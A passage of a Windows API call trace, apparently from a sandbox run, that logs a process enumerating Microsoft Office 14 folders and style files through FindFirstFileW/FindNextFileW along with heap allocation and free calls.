FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x173, dwReserved0=0x0, dwReserved1=0x0, cFileName="Discussion.css", cAlternateFileName="DISCUS~1.CSS")) returned 1 [0198.311] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x71e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Earthy.css", cAlternateFileName="")) returned 1 [0198.311] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrayCheck", cAlternateFileName="GRAYCH~1")) returned 1 [0198.311] GetProcessHeap () returned 0x550000 [0198.311] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26210b0 [0198.311] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0198.312] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0198.312] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0198.312] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0198.312] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0198.312] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0198.312] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0198.315] GetProcessHeap () returned 0x550000 [0198.315] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26210b0 | out: hHeap=0x550000) returned 1 [0198.315] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xbea, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrayCheck.css", cAlternateFileName="GRAYCH~1.CSS")) returned 1 [0198.315] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x752, dwReserved0=0x0, dwReserved1=0x0, cFileName="GreenTea.css", cAlternateFileName="")) returned 1 [0198.315] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd632e90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="LightSpirit.css", cAlternateFileName="LIGHTS~1.CSS")) returned 1 [0198.315] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lime", cAlternateFileName="")) returned 1 [0198.315] GetProcessHeap () returned 0x550000 [0198.315] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26210b0 [0198.315] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0198.315] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0198.316] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0198.316] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x10b, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0198.316] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x10b, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0198.316] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0198.316] GetProcessHeap () returned 0x550000 [0198.316] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26210b0 | out: hHeap=0x550000) returned 1 [0198.316] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd632e90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd77, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lime.css", cAlternateFileName="")) returned 1 [0198.316] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd632e90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x715, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maroon.css", cAlternateFileName="")) returned 1 [0198.316] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oasis", cAlternateFileName="")) returned 1 [0198.316] GetProcessHeap () returned 0x550000 [0198.317] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26210b0 [0198.317] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0198.317] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0198.317] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0198.317] GetProcessHeap () returned 0x550000 [0198.317] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26210b0 | out: hHeap=0x550000) returned 1 [0198.318] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0198.318] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0198.318] GetProcessHeap () returned 0x550000 [0198.318] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26210b0 | out: hHeap=0x550000) returned 1 [0198.318] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0198.319] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0198.319] GetProcessHeap () returned 0x550000 [0198.319] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26210b0 | out: hHeap=0x550000) returned 1 [0198.319] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd67f150, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6a52b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0198.320] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0198.321] GetProcessHeap () returned 0x550000 [0198.321] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26210b0 | out: hHeap=0x550000) returned 1 [0198.321] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0198.321] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0198.321] GetProcessHeap () returned 0x550000 [0198.321] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26210b0 | out: hHeap=0x550000) returned 1 [0198.321] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0198.323] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0198.323] GetProcessHeap () returned 0x550000 [0198.323] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26210b0 | out: hHeap=0x550000) returned 1 [0198.323] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5747b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0198.324] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0198.324] GetProcessHeap () returned 0x550000 [0198.324] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26210b0 | out: hHeap=0x550000) returned 1 [0198.324] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0198.324] GetProcessHeap () returned 0x550000 [0198.324] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0198.324] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0198.324] GetProcessHeap () returned 0x550000 [0198.324] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0198.328] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba28770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0198.335] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0198.336] GetProcessHeap () returned 0x550000 [0198.336] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0198.336] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bde09d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bde09d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0199.950] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0199.952] GetProcessHeap () returned 0x550000 [0199.952] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0199.952] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e5274d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0200.085] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0200.087] GetProcessHeap () returned 0x550000 [0200.087] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0200.087] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50f6a840, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50f6a840, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0200.234] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0200.234] GetProcessHeap () returned 0x550000 [0200.234] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0200.235] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0200.236] GetProcessHeap () returned 0x550000 [0200.236] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0200.237] GetProcessHeap () returned 0x550000 [0200.237] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0200.238] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x779e270, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x779e270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x779e270, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0200.239] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0200.239] GetProcessHeap () returned 0x550000 [0200.239] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0200.239] GetProcessHeap () returned 0x550000 [0200.239] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0200.239] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a4f390, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a4f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a4f390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0200.240] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0200.241] GetProcessHeap () returned 0x550000 [0200.241] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0200.241] GetProcessHeap () returned 0x550000 [0200.241] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0200.241] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603a86d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0200.242] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0200.242] GetProcessHeap () returned 0x550000 [0200.242] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0200.242] GetProcessHeap () returned 0x550000 [0200.242] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, 